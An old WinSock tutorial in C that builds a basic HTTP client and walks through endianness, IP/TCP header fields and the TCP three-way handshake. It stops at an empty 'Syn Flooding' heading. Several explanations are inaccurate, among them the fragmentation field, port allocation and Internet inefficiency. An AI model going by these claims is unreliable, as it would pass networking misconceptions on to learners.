WinSock Programming

Friends, so far, many of you may have viewed the Internet with awe or even with reverence. Some of you may have used the Internet for quite some time, for a number of purposes. For example, you may have been using the Internet to download innumerable files from different servers on the Internet, or sent and received E-Mail. But have you ever wondered at the basic issue, as to HOW these files are sent or received from across the Internet? Have you ever wondered about HOW the code that allows you to send and receive E-Mails, or just browse around in the Internet, is written?

So far, you have always had things easy when you used a ' Browser '. This Browser would allow you to visit sites on the Internet. You may have also exercised the option of " New Mail Message " in the Netscape - to send E-Mails or an equivalent option available in other Browsers. But have you ever tried to create a ' Browser ' of your own or tried to send an E-Mail using your own program? Some of you may have wondered at the technologies used to create this ' Browser ', or the server that handled your E-Mail. But you may have been too scared to venture into writing code, because of an inbuilt fear that you may be unable to understand the basic steps in creating your own Browser, or your own E-Mail program.

We had also faced the same hesitation when we had first tried to create our own Browser, etc. But we did not lose heart and our perseverance were rewarded. We found the lines of code to be so simple that we were, at one time, wondering whether we were on the right track. As we progressed, we found it more and more easy. Here we present our hard work - or should we say easy work - which we ultimately put together in the form of a tutorial to explain the concept of creating some of these Internet related programs . This tutorial will now, explain to you how easy it is to create your own Browser etc. using simple code written in ' C ' Windows. We shall also, in this tutorial, blast away your fears about Internet programs and show you how easy it is to operate these programs on the Internet.

We however hope that you have a fundamental knowledge of ' C ' Windows Programming and that you are quite adept with it's functionality.

" HTTP CLIENT "

Let’s start with the creation of a Browser. We have tried to explain this technology in a step by step manner, so that you may understand the concept behind the creation of Browsers, better. We do not - in this tutorial - promise you, that you will now be able to create a replica of the Netscape browser or that your Browser will perform all of Netscape’s functions immediately. But it will not be far from the truth, to say that, by the end of this tutorial you should, very easily, be able to create your own Browser to obtain files from the Internet. With a little more hard work, you may even be able to create and market your own Browser one day.

Getting started..

Before starting, let's get warmed up a bit by recalling the basic lines we had learnt and used in a ' C ' Windows program, and proceed from thereon, to create our own Browser. 

# include < windows.h>
_stdcall WinMain (HINSTANCE i, HINSTANCE j, char * k, int l)
{
}

Well, this is the basic line of code and it shouldn’t warrant an explanation. With this line of code as our base, we shall start with the creation of our Browser.

#include <windows.h>
WSADATA ws;
_stdcall WinMain(HINSTANCE i,HINSTANCE j, char *k, int l)
{
}

On building this program, you will get no errors. This is because WSADATA is a structure tag and is present in <winsock.h>. This header file <winsock.h> is called in the file <windows.h>. Hence we do not have to separately include the <winsock.h> file within our program, as it has already been included in <windows.h>. Even if we include the file <winsock.h> in our program, it will not cause any problems.

Let’s go on with the next step in the creation of our Browser.

#include <windows.h>
WSADATA ws;
_stdcall WinMain(HINSTANCE i,HINSTANCE j, char *k, int l)
{
        WSAStartup(0x101,&ws);
}

On building the program, you will get a linker error saying " error LNK2001: unresolved external symbol _WSAStartup@8 ". This is because the code of this function - WSAStartup() - is present in the library file, " Wsock32.lib ". If you don't add this file to your project you will have a problem. To include this file, you cannot simply say #include<wsock32.lib>. You have to manually search for the file and include it in the project.

For searching for the file we have to first clicking on ‘ Start ’ which is a button stationed at the lowermost left hand corner of our window. From the box that pops up, select ‘ Find ’. From here, select ‘ Files and Folders ’. You will see a DialogBox with two EditBoxes, displayed. In the EditBox titled ‘ Named’, we write ‘wsock32.lib’ and in the second DialogBox, type in the name of the drive we want the computer to search for the file. Next click on ‘ Find Now ’ and you will see the path name of the file displayed in the Dialog Box. In our computer this file is located at " c:\progra~1\devstu~1\vc\lib".

 Now that we know where the file is present, go back to our program in VC++ 5.0. From here, we have to click on ‘ Project ’ on the menu bar, and choose ‘Add To Project’, and select ‘Files.’. Here a Dialog Box is displayed. In the EditBox titled ‘File’ type in this path along with ‘wsock32.lib’, and click on O.K.

With this, the file ‘wsock32.lib’ gets added to our project. This is the first step you have to perform before you start with any Winsock Programs.

When you now compile the program - after you included the file " wsock32.lib " - you will see that the linker error which was ruthlessly displayed previously by the linker, has now disappeared. Now this WSAStartup is a function(). We don't know what it does or how it works - we think that no one can ever know - but then we have to write this function as part of syntax in our program, otherwise nothing else in our program will ever work. This function is passed two parameters. The first parameter is a version number - the windows sockets version number - and it is passed as 1.1.

Here is a bit of information you will find interesting, and you should be able to sprout this information at a party where you will be the envy of many. There is an advanced version number viz. 2.0 which has all the features of 1.1 and more. But then using 2.0 here is a problem because all machine do not have this version number of windows socket installed in them. Similarly there is also a past version number viz. 1.0 which has fewer features as compared to 1.1 - you have to keep in mind that all the features of version 1.0 are also present in 1.1.

Even if you have version 2.0 of Windows socket, this program will work, as version 2.0 has all the features of version 1.1. So having version 2.0 installed in your machine should in no way effect the working of this program. At the same time if we had used version 2.0 in our program and you only have version 1.1 in your machine, then the program would definitely have given you the linker error. We are using version 1.1 on the safe assumption that all machine would have at least this version installed.

The second parameter we are passing to the function ‘ WSAStartup() ‘, is the address of the structure ‘ ws ’ which looks like WSADATA. The function WSAStartup() initialises the members of this structure. We have not used the members of this structure in our program, and hence we do not go into details. The WSAStartup() function also initialises the Winsock libraries. We request you to add this function to your program without asking any further questions.

Let’s proceed with our program.

#include <windows.h>
#include <stdio.h>
 
WSADATA ws;
int d;
char aa[1000]; 
 
void abc(char *p)
{
        FILE *fp = fopen("c:\\b.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
               d = WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %d",d);
               abc(aa);
}

Well, well, well, what does it look like ? Does it not look like we are now back to teaching you ' C ' programming? Here, we are merely storing the return value of the function ‘ WSAStartup() ’ in ‘ d ’ and writing it into the file "b.txt" with the help of the ‘sprintf()’ and the ‘ abc() ’ function. We have used these functions, ‘sprintf()’ and ‘fprintf()’ in ‘ C ’ and hence we felt that it was not necessary to explain these functions.

We are now able to look at the return value of ‘ WSAStartup() ’ function. When you build the program you will not get any errors. On the execution of this program, you can see it's output in the file "b.txt", which gets created in the root directory. The output will be as under

WSASTARTUP = 0

This may be a big let down to those of you, who were expecting a dramatically big and impressive number. Well don’t feel disappointed, in fact you should be happy that you got a ' 0 ' as the output. If you had a number other than ' 0 ' as your output it would mean that, there is an error in your program.

Now are you not happy that you got the required output in the previous program? On this happy note, we shall continue with our program.

#include <windows.h>
#include <stdio.h>
 
WSADATA ws;
int d;
char aa[1000]; 
SOCKET s;
 
void abc(char *p)
{
        FILE *fp = fopen("c:\\b.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
 
               d = WSAStartup(0x101,&ws);
               sprintf(aa," WSASTARTUP = %d",d);
               abc(aa);
               s = socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET =%d",s);
               abc(aa);
}

The change we made in our program, was the creation of the variable ‘ s ’which looks like the Macro ' SOCKET '. Now when you go to <windows.h> to lookup the data type of this Macro, you will find that it very clearly says that it is an unsigned int. Now we have to understand why we have to use ' SOCKET ' and not an ‘ unsigned int ‘.there are two reasons for this. The first reason is that it takes more time to write ‘ unsigned int ’ than to write ' SOCKET '. The second reason is more important. The variable ‘s’ is used to store the return value of the function ‘ socket() ’. Now ‘ s ’ is a handle to the socket connection. A handle refers to a number which is recognized by Windows. This number makes no sense to us, but it tells Windows who we are. When the ‘ C ‘ preprocessor looks at the Macro ‘SOCKET’, it internally converts it into an unsigned int. But because ‘s’ is a handle, we do not want anyone to increment or decrement it, or change it's value in any way. That is the reason why, instead of using ‘ unsigned int ’, we use the Macro ‘ SOCKET ’.

Let's go ahead and build this program. On execution, the output we get is a number. This number can be anything, but it should be positive. If you get ‘ -1 ’as your output, then you have a problem. It means that you have an error.

Now let us understand what the function ' socket() ‘ does. To this function we have to pass three parameters viz. ' AF_INET ', ' SOCKET_STREAM ' and ‘ 0 ‘. These first two parameters are hash(#) defined in the header file <winsock.h>. After reading this explanation, you may wonder where have we mentioned #include<winsock.h> in our program. Now you are faced with two options, one where you can believe us and compile the program as it is, or you can go to the <windows.h> header file to search whether we have made a blunder when we used the name <winsock.h>. If you search for the Macros there, you will not find them present in that file. But friends, you will notice that there is a #include<winsock.h> in this <windows.h> file. Before you get entrapped in the swamp of header files and code , our advise to you is to quit when the going is good. But if you are still adamant, you can search for these #defines in the file <winsock.h>. We know that ‘ AF_INET ' and ' SOCK_STREAM ' are two numbers - we do not have to prove it to ourselves. These numbers represent protocols and are passed as parameters to the function ' socket() '. The Macro ‘ AF_INET ’ represents IP or the Internet Protocol whereas the Macro ‘ SOCK_STREAM ’ represents a stream oriented protocol. At present there is only one stream oriented protocol viz. TCP. The third parameter which is ‘ 0 ‘ shall not be explained by us,as we have made an agreement with programmers all over the world. In this agreement, it is mentioned that, any parameter to a function which is assigned the value as ' 0 ’ is not to be explained. So with reference to that agreement we feel disinclined to explain this parameter.

When two machines communicate with each other, they follow a set of rules. These rules are known as networking protocols. When Networking was first introduced, each manufacturer had their own Networking protocols - in those days the Internet was not the defacto standard of communication. This gave rise to a problem when two machines of different companies tried to communicate with each other. For example an IBM- compatible machine could not talk to an Apple Macintosh because each machine was following a different set of protocols. It was to solve this problem, that a group of programmers working under the UNIX operating system, got together and decided to create a group of functions that allow different machines to work together over any network and protocol. They named this group of functions as "Sockets Programming". This programming is also refered to as Winsock Programming, Internet Programming, TCP/IP Programming, etc.

Sockets programming also means network programming. Socket programming supports a large number of protocols, one of which is TCP/IP. If these functions were used only to program over the Internet, it would be like trying to kill a fly with a battle tank. Most of the capabilities of Sockets Programming would be wasted. The reason people use Socket programming is because these same functions can be used over various networking protocols like AppleTalk, Novell Netware, etc.

Now Microsoft, which is a giant in the software industry, it was not to be left far behind. It coolly included a set of functions to " Sockets Programming " and renamed it as " WinSock programming ". One of the function they included, is the ' WSAStartup() ' function. When you want to run this same program on any other platform i.e. other than Windows, there is no need for this ' WSAStartup() ' function.

So you realize that we can easily say that when you write this program under UNIX or any other platform, it can be called as Sockets Programming - as you will have to write the program without the function ‘ WSAStartup() ‘. When you run this same program including ' WSAStartup() ' in Windows, it is the WinSock Programming. If you have learnt WinSock Programming you can safely say that you know Sockets programming also.

Let us understand, that all the networking protocols are made up of the combination of two protocols. For example in the Novell Networking System there is ' IPX ' and ' SPX ' both of which together, form it's networking protocols. Similarly, when the group of programmers working under UNIX, designed a group of networking protocols, they called it the TCP/IP group of protocols. ‘ IP ‘ is the ‘ Internet Protocol ‘ while ‘ TCP‘ is the Transmission Control Protocol. So now you know that the first parameter of our function ' sockets() ', i.e. 'AF_INET ' represents the Internet Protocol and ' SOCK_STREAM ' represents the stream oriented protocol.

The output on execution of the above program as seen in ' b.txt ' is shown as below

WSASTARTUP = 0
SOCKET = 3

Now is that not a cute little output ? You quickly come to know that the number is not ‘ -1 ’ and so you can relax and be happy with the output.

Let us now proceed with our program.

#include <windows.h>
#include <stdio.h>
 
WSADATA ws;
int d;
char aa[1000]; 
struct sockaddr_in a;
SOCKET s;
 
void abc(char *p)
{
        FILE *fp = fopen("c:\\b.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
               d = WSAStartup(0x101,&ws);
               sprintf(aa, "WSASTARTUP = %d",d);
               abc(aa);
               s = socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %d",s);
               abc(aa);
               a.sin_family = AF_INET;
               a.sin_port = htons(80);
               a.sin_addr.s_addr = inet_addr("202.54.1.18");
} 

Well the very first thing you notice in this program is, the creation of a structure ‘ a ’ which looks like the structure tag ' sockaddr_in '. This structure tag is defined in <windows.h> header file. How do we know this ? We know this because, if it was not defined in <windows.h> or some header file included in it, then it would have given us an error during compilation. We have also initialized three members of this structure ‘ a ’. The first member, ' sin_family ', is initialized to the IP protocol ' AF_INET '. The next member ' sin_port ' is initialized to the return value of the function ‘ htons() ’.  

Here, let us understand the function ‘ htons() ’. Today when a integer is to be stored on the stack, some machines store it in a certain method - as explained below - where as other machines store it differently - as explained later. For instance, suppose you want to store a number (an int) 258 on the stack, it will be stored on the stack in the manner shown in the figure below. 

1

2

Now you know that the number 258 will use up two bytes of memory space on the stack - because it is an int. The number stored in the upper byte of the memory location allocated to it, is to be multiplied by 256 and the number in the lower memory location is to be multiplied by 1, so by adding the two ( 1 * 256 + 2 * 1) you will get the output you want - this we have learnt in ' C ' when we learnt about the stack and how it stores bytes in memory. This means that the value which is to be multiplied by the smaller number i.e. 1, is put on the lower byte of the memory allocated and the value which is to be multiplied by the larger number i.e. 256, is put on the upper byte of the memory allocated. This method of storing variables on stack is known as the ‘ Little Endian ’ method. This is the way the Intel family and a number of other computers store numbers on their stack.

Now let’s see how other machines store the variables differently. This can be explained in the figure below.

2

1

Here the very same number is stored in another way i.e. the value which is to be multiplied by the bigger number i.e. 256, is stored on the lower byte of the memory allocated on the stack while the value which is to be multiplied by the smaller number i.e. 1, to stored on top. This method of storing variables on the stack is called as the ‘Big Endian’ method.

In this case the upper byte of the memory location is 2 and the lower byte of the memory location is 1. These machines multiply the upper byte memory location by 1 and the lower byte memory location by 256 to arrive at the output as 258 i.e. (2*1 + 256 * 1).

Now whenever two or more machines using the same ' Endians ' connect to each other on the network, they will have no problem talking to each other. The fun starts when two machines using different ' Endians ' connect to each other, both machines use their own method by which they store integer on the stack.

If a Little Endian machine is talking to a Big Endian machine, the Little Endian machine has to first convert the bytes to Big Endian. When we talk of bytes, it does not mean that we are talking about ‘ char ’ which occupies only one byte. We are talking about ‘ ints ’ or ‘ longs ’ as it takes more than one byte of memory space. The order of these bytes - in memory - has to be totally reversed.

For example if one machine which follows the ‘ Little Endian ’ passes an integer 258 - with 1 as the first byte and 2 as the second - to a machine which uses ‘ Big Endian ‘. The other machine will receive these two bytes and multiply the first byte by 1 and the second byte by 256 to arrive at 513. Thus you can see how drastically the number gets changed on transmission. Hence, these bytes are to be first reversed before they get transmitted across.

Now on the Internet, when you connect to another machine, you can never know which ‘ Endian ‘ method the other machine you are connecting to will be using. This created a problem. The Internet unfortunately standardised on the ‘ Big Endian ‘. Unfortunate, because today, more than 90% of the machines on the Internet, store data in the ‘ Little Endian ‘ method.

The problem really starts, when a machine which uses the Little Endian method has to communicate with another machine which uses Little Endian on the Internet. The bytes still have to be first changed to the Big Endian method and sent across to that other machine. This machine on receiving the bytes will have to again convert these bytes back to Little Endian before it can read the data sent. The reason why the Internet is inefficient today is because ‘ Little Endian ’ machines over shadow ‘ Big Endian ’ machines.

Now any machine, which wants to connect to the Internet, will have to use the ' Big Endian ' method of transmitting bytes. This creates a problem to machines using ' Little Endians '. Now how do we solve the problem of converting the ' Little Endian ' to ' Big Endian '?

This can be done very easily through the function ' htons() '. This function has to be passed a parameter. This parameter should be a port number. We, in our program, have used the port number ' 80 ' which stands for the ' HTTP ' port.

Every machine on the Internet is given a unique number to distinguish it from the different other machines. This number is known as it's IP address. In our program we have initialised a third member of the structure ‘ a ’ viz. ‘ sin_addr.s_addr ’. To this member we have passed the return value of the function ‘ inet_addr() ’.

You have to understand that an IP address is a long number, and a long number can be anywhere between 0 to 4 billion. Now suppose you have an IP address say ‘ 1546847603‘, don’t you find it difficult to remember this number ? If it was one number then maybe, and I mean maybe, you might just remember it. But then, if you have ten or say twenty such numbers to remember, then you would have to start maintaining a log book and check each number at least twice before trying to connect to that IP address. So to make your life a bit easier the IP addresses are written in the Dotted Decimal Notation. This means that now, your long number is now divided into groups of four different numbers each separated by a dot ( . ) because a long takes four bytes. Now take for example ‘ 202.54.1.18 ‘ isn’t it easier to remember than that long number. These four numbers together form an IP address.

To the function ‘ inet_addr() ’ we have to pass an IP addess. This function takes this IP address in the form of a string and converts it into a long number and returns this long number to ‘ sin_addr.s_addr ’. This number is calculated in the following manner.

202 * 2 24 + 54 * 2 16 + 1 * 2 8 + 18 * 2 0.

Now that we know the server we want to connect to, we can go ahead and try to connect to that server.

#include <windows.h>
#include <stdio.h>
 
WSADATA ws;
int d;
char aa[1000]; 
struct sockaddr_in a;
SOCKET s;
 
void abc(char *p)
{
        FILE *fp = fopen("c:\\b.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
               d = WSAStartup(0x101,&ws);
               sprintf(aa, "WSASTARTUP = %d",d);
               abc(aa);
               s = socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %d",s);
               abc(aa);
               a.sin_family = AF_INET;
               a.sin_port = htons(80);
               a.sin_addr.s_addr = inet_addr("202.54.1.18");
               d = connect(s, (struct sockaddr *)&a , sizeof(a));
} 

In this program we have used a function ' connect() '. To this function we have to pass three parameters. The first parameter is ' s ' which is nothing but the return value of the function ' socket() '. This variable at present knows only the protocol which is to be used. As we progress with our, program you’ll see how this variable keeps increasing it's knowledge. The second parameter of the function ‘ connect() ’ is the address of the structure ‘ a ’. The function connect() however requires this parameter to look like ‘ sockaddr ’, while ‘ a ’ looks like ‘ sockaddr_in ’. This is why we have to cast ‘ a ’ to ‘ sockaddr ’. The last parameter is the size of the structure ' a '.

The output we now get in the ' b.txt ' file is as follows.

WSASTARTUP = 0
SOCKET = 3

This shows that we are still on the right track. Once the ‘ connect() ’ function is executed our socket ‘ s ’ will not only know the protocol to be used but also the IP address and port number of the machine we want to connect to.

Let us now understand what the function ' connect() ' does. Assume our machine is trying to connect to another machine on the Internet. Before the actual connection takes place there is a particular procedure that is followed. This procedure is popularly known as a ‘ three-way handshake’. Our machine has to first send a header of forty bytes to the machine we are trying to connect to. The other machine will then respond by sending a header of forty bytes back to our machine. Our machine has to then send a final forty bytes to the other machine. Only after these final forty bytes of the header are received by the other machine, is the connection complete.

If we wish to connect to any machine using our program, it has to follow the same procedure. The connect() function is responsible for the ‘ three-way handshake ’ where the TCP/IP header bytes are sent, received and sent again .

We have, time and again, tried to explain Winsock Programming, but until now, we have failed to do so. So we decided to take a small break and instead explain the bytes that are actually generated by the ‘ connect() ’ function. We feel that this is the only way you can really understand Winsock Programming.

Let us now understand what these header bytes contain.

The forty bytes sent as the header are divided into two parts of twenty bytes each. The first part consists of the IP or the Internet Protocol and the next twenty bytes comprise of the TCP or the Transmission Control Protocol. Let us first understand what the first twenty bytes i.e. the IP header comprise of and then go on to understand what the other twenty bytes mean. For this just take a look at the table below.

 

4

5

Type of Service (0)

0

40

identity

identity

fragmentation (0)

fragmentation (0)

Time to Live (20)

6

check sum

check sum

Source (70.)

Internet (0.)

Protocol (0.)

Address (1)

Destination (70.)

Internet (0.)

Protocol (0.)

Address (2)

 

The above diagram is shown to represent the first twenty bytes of the header - the IP. Let us now understand each of these bytes one at a time.

The first byte is divided two parts of four bits each (you should know that each byte is eight bits large). The first four bits specifies the version number of the Internet Protocol we are using. This is usually ' 4 '. Now some genius amongst you will definitely want to know about the version ' 6 ' which is going to come. But friend, why bother about something which may come later? It may not come for another twenty years. So till then we shall forget about it. For your information there is no version ' 3 ' or version ' 5 ' as far as we know.

The second four bits of the first byte specifies the length of the IP header. The value in these four bits is multiplied by four to arrive at the length of the IP header. Now since they are only four bits, they can at the most be assigned a value between 0 and 15. Now the minimum size of the IP header should be twenty bytes in length. So the minimum value, these four bits can be assigned is ' 5 ' and the maximum it can go up to is ' 15 ' which means that your IP header can at the maximum be ' 15 * 4 ' i.e. 60 bytes in length.

The next byte is the ‘ type of service ‘ you can assign to your protocol. Now you know that when the President’s motorcade has to pass along the roads of our fair city, all the roads are cleared and he is allowed to pass along at the best possible speed. This is the priority given to him. So also on the Internet, when an important person wants to access a server, don't you think that he/she should be given the first priority ? This priority is supposed to be specified in the second byte of the IP. We have to understand that on the Internet a packet can meet either a computer or a router and nothing else. A router is nothing but a specialised computer with additional hardware. All that a router does, is direct a packet to it's destination or to another router that knows the destination. These routers have to be really fast. Because of this, routers do not look at the type of service field. Because routers ignore this field, everybody also ignore this field. Hence, the packet of an important is forced to stand in the same queue to get an access to the server. There is no differentiation between important and unimportant people on the Internet. At present this field is not used.

The next two bytes are ' 0 ' and ' 40 '. These denote the total length of the packet. We are passing the first byte as ' 0 ' and the next byte as ' 40 '. This is because we are passing them in the ' Big Endian ' method. Our packet is forty Bytes large and if we had passed it as ' 40 ', ' 0 ' then the ' Big Endian ' method would have multiplied the first byte by 256 which would have increased the length of our packet.

The next two bytes are the ‘ packet id ‘ and you can put any number you want here. For your information, in most cases, these bytes are never used.

Suppose you want to send some data in a file across the Internet and the size of the file is 3000 bytes. When your file is traveling across the Internet, it might encounter a router which cannot accept more than 1000 bytes at a time. This would create a problem as the router can only support 1000 bytes at a time whereas you want to send 3000 bytes in one go.

According to the Internet, the maximum size of a packet that a router should support, could not be decided. Different networks have different limits. For example, on an Ethernet network we cannot have a packet larger than 1500 bytes, but other networks might not have the same limitation. So it was decided that every router or network that is said to be on the Internet, has to support a packet size of minimum 576 bytes. If our file is smaller than 576 bytes, we can be assured that it will not be broken. If the size of our file exceeds 576 bytes, then it might have to be broken into a number of packets. The routers or networks on the Internet might support a packet size of 2000 or may be even 20000. In such cases it is better for us. But the minimum size of a packet that the router or the network has to support, without breaking it up, is 576 bytes.

When your packet reaches its final destination, the router has to know the total number of packets your original file was broken into. The next two bytes of the IP header denote the number of fragments that your original file has been broken into. In our case we have to send only forty bytes, and it is so small that there is no need for it to be fragmented. So we are specifying this field as ' 0 ' , ' 0 '.

The next byte is important. You have to understand that, whenever you send packets to a particular server on the Internet, you connection is never direct to that server. Your packet passes through a number of computers known as ' routers '. A router would know the route to the server you want to connect to, in which case your packet would be sent by the router directly to that server. However, if that router did not know the route to the server you want to connect to, it would connect you to a different router which would know the route to that server. Now if even this router did not know the route to the server you want to connect to, it would in turn take your packet to another router which could know. This process goes on and on, until your packet reaches the server. Take for example that you want to connect to a server which is situated somewhere in U.S.A. The route taken by your packet may first go to a router in Bombay. This router may divert your packets to a router in London which in turn may know the route to the server in U.S.A. But suppose this router - in London - develops a bug, and it sends the packet received by it back to the router in Bombay. Now what do you think will happen? This router - in Bombay - on seeing that the packet is for U.S.A. would send it back to the router in London, which again - as it has developed a bug - sends it back to Bombay. This process might go on and on for such a long period of time that, even ten years from now, if by mistake you happen to go on to the Net, you would see your packet shuffling between London and Bombay. To guard against this possibility, the next byte of your IP protocol specifies as to the maximum number of routers your packet can shuffle between, before it gets dropped from the Net.

Each time your packet meets a router, the value present in this byte is decreased by 1. So now when your packet goes to the router in Bombay it would decrease the value in this byte by 1, and on reaching London the router there will again reduce the value of the byte by 1. Now, assigning this byte a value 20, means that your packet can, at the most, shuffle between London and Bombay for a maximum of 20 times after which it will be dropped.

The next byte, you may notice, has been specified as ' 6 '. The value in this byte indicate the bytes of the which protocol come after the twenty bytes of the IP header. The value ‘6’ indicates that the IP header is followed by a TCP header.

Whenever you send a packet on the Internet, you have to know whether the packet has reached it's destination or not. There is always a possibility that during transmission, your packet has to travel through a noisy connection. It is also possible, that the data transmitted could get corrupted. In our IP header, we are sending 20 bytes. We have a formula, which considers all the bytes of the header except the two bytes of check sum. For the remaining 18 bytes, we calculate a number, using the formula, to represent these 18 bytes. This number is put in the two bytes of check sum. When our packet reaches the destination, that machine would again calculate the number to represent these 18 bytes. If the result matches with our check sum, it means that the data has been transmitted correctly. If the result does not match, it would mean that the data got corrupted during transmission.

The next four bytes are called the Source IP address and represents the IP address of your machine.

The last four bytes of the IP header represents the Destination IP address i.e. the server to whom you are sending the header.

Let us now learn what the next twenty bytes i.e. of the TCP/IP header, look like. These are explained through the help of the following table.

4

0

0

80

0

0

0

2

0

0

0

0

5

unused

 

| | | | | |

Window (4)

Size (0)

check sum

check sum

urgent (0)

pointer (0)

In the TCP header the first two bytes represent the source port. Now what is a port ? Ports are like designations in an organisation. In any organisation plenty of mail is received daily. Even then, each person receives his own mail correctly. The mail of one person is never given to another. The Internet supports different applications like File Transfer Protocol, E-Mail, World Wide Web, etc. which we shall be discussing in greater detail later on. It is possible that one machine supports more than one application. When your packet arrives at that machine, how will the machine know where this packet has to go? To solve this problem, each of these applications is given it's own unique number. In technical terms, we call the unique number assigned to each of these applications as it's port number. This number will also be present in the Source Port bytes of your TCP header. The machine is now able to decide where the packet is to be sent i.e. to which application. I.A.N.A. is the International body that has the authority to allocate port numbers. For this purpose it has reserved the numbers between 0 and 1023. For example I.A.N.A. has allotted port number 80 for the HTTP server, so now whenever you connect to a machine specifying the port number as 80, the machine knows that you want to connect to a HTTP server.

Likewise in our case we have to have a port number, so as to be able to receive any packet, that is sent to us by the server, to which we are connecting. If you want to create a port number which is less than 1023 you have to contact the I.A.N.A. and get it's permission. If you want to go through all the trouble and hassels in contacting the I.A.N.A., you are free to do so. But we, on the other hand having no such desire, simply use the other option available to us. We chose the next available number i.e. 1024 as our port number. This port number, as we are forced to use the ' Big Endian ' method, has to be passed in the next two bytes as ' 4 ' and ' 0 '.

Similarly the next two bytes represents the port which we want to connect to i.e. the port of the server we want to connect to also called as the destination port. Now in our program we had mentioned 80 as the parameter to ' htons() ' it means we want to connect to port 80 - the HTTP port - and hence the next two bytes are taken as ' 0 ' and ' 80 '.

The next four bytes represent a ' Sequence number '. This number can be any random number. Because of this reason after much thought and deliberation we finally decided to use the numbers ' 0 ' , ' 0 ' , ' 0 ' , ' 2 '. Now if you want to, you are free to change it to any number you like. These numbers are actually generated randomly by the machine - computer.

The next four bytes are called as the ' Acknowledgment number'. Now since we have not yet passed the packet across the Internet to the server, we cannot expect to receive an acknowledgment from it. So these four numbers here are ' 0 ',' 0 ',' 0 ',' 0 '.

The next two bytes are interesting. We know that each byte is divided into 8 bits so we have a total of 16 bits from the two bytes. The first four bits represent the length of the TCP protocol. We have assigned it, the value, ' 5 '. The value in these four bits are multiplied by four to arrive at, the length of the TCP header. Now since they are only four bits they can at the most be assigned the value between 0 - 15. Now the minimum size of the TCP header is twenty bytes while the maximum size can be 15*4 i.e. 60 bytes in length. This now takes care of the first four bits. The next six bits are unused. So it is no use trying to explain what they represent. The remaining six bits are to be considered individually. One of these bits, is known as ' syn flag '. This bit is on in the packet of the first forty bytes of header, sent to the server. This process where we are sending our first forty bytes to the server is known as the ' Syn '.

The next two bytes represent the window size. What it means we shall explain a little later. At present we just pass the values as ' 4, 0 '.

The next two bytes are the check sum. They are similar to the check sum of the IP protocol which we had explained earlier. Now you may be wondering why you require two check sum's in one packet ? This is because each protocol should have it's own check sum.

The last two bytes represent ' Urgent Pointers '. What they represent, we shall explain a little later.

By sending these forty bytes to the server, the job of the function ' connect() ' is not over.

After the forty bytes are received by the server, the server replies back with forty bytes of it's own. These forty bytes are more or less similar to the forty bytes sent by us to the server with some minor changes. Just have a peek at the table below, which contains the forty bytes sent to us by the server.

4

5

Type of Service (0)

0

40

identity

identity

fragmentation (0)

fragmentation (0)

Time to Live (20)

6

check sum

check sum

Source (70.)

Internet (0.)

Protocol (0.)

Address (2)

Destination (70.)

Internet (0.)

Protocol (0.)

Address (1)

0

80

4

0

0

0

0

5

0

0

0

3

5

unused

 

| | | | | |

Window (4)

Size (0)

check sum

check sum

urgent (0)

pointer (0)

Well, after seeing this table, you will realise how similar this header is to the header sent by us to the server.

The first twelve bytes of the header remains unchanged, so it is no use repeating the explanation of what these bytes mean.

When we were sending our ' Syn ' packet to the server, we had placed our machine’s IP address in the bytes allocated for the Source IP address. But now since we are receiving a packet from the server, at this location the IP address of that machine is placed.

Similarly, the address that is placed in the Destination IP address in the packet we are receiving, will now be the address of our machine.

Let us now take a look at their TCP header.

The first two bytes of this header stands for the port number from which they (server) are connecting to us (client). The next two bytes represent our port number which shows that they are contacting us on our port number. Thus the source port and destination port are reversed as compared to our header of the first forty bytes.

The next four bytes form the server’s ' Sequence number '. This number can again be any random number and it is generated by that machine. We decided to use the numbers ' 0 ' , ' 0 ' , ' 0 ' , ' 5 ' so that it would be easier to explain to you what the numbers represent.

The next four bytes form the ' Acknowledgment number '. The server on receiving our ' Sequence number ' adds one to it and sends it back to us as it's ‘ Acknowledgement number ’. Hence, the number which we have transmitted as ' 0 ' , ' 0 ' , ' 0 ' , ' 2 ' has now been increased by one and sent back to us as ' 0 ' , ' 0 ' , ' 0 ' , ' 3 '

Now in the next two bytes which are divided into eight bits each the first ten bits remain the same. Of the last six bits, one of the bits is now activated. i.e. ' Ack '.

The last six bytes of the header, which the server sends us is exactly the same as what we as the client sent.

These forty bytes which are sent to us (client), by the server is known as ' Syn Ack '.

After the server sends us a ' Syn Ack ', it waits for us to respond back to it with an ' Ack '. We now have to send a further forty bytes back to the server. These forty bytes are as shown in the table below.

4

5

Type of Service (0)

0

40

identity

identity

fragmentation (0)

fragmentation (0)

Time to Live (20)

6

check sum

check sum

Source (70.)

Internet (0.)

Protocol (0.)

Address (1)

Destination (70.)

Internet (0.)

Protocol (0.)

Address (2)

4

0

0

80

0

0

0

3

0

0

0

6

5

unused

 

| | | | | |

Window (4)

Size (0)

check sum

check sum

urgent (0)

pointer (0)

Now this header is just like the first header of forty bytes which we had sent. The only change now is in the ' Sequence ' number and the ' Acknowledgment ' number.

In the bytes reserved for the ‘ Sequence number ' we place the number we received as an ' Acknowledgment number ' from the server.

In the bytes reserved for the ‘ Acknowledgment number ’ we place the number we received as the ' Sequence number ' from the server after adding it's value by one.

These forty bytes which are now sent to the server, by us (client) is known as ' Ack '.

This process of sending the header - from us to the server , from the server back to us and us sending back the header to the server - is called as a three-way handshake. The ' connect() ' function is over only after the three-way handshake is complete.

Let us however remember that all these bytes are generated during runtime only when the ' connect () ' function is being executed.

Syn Flooding..

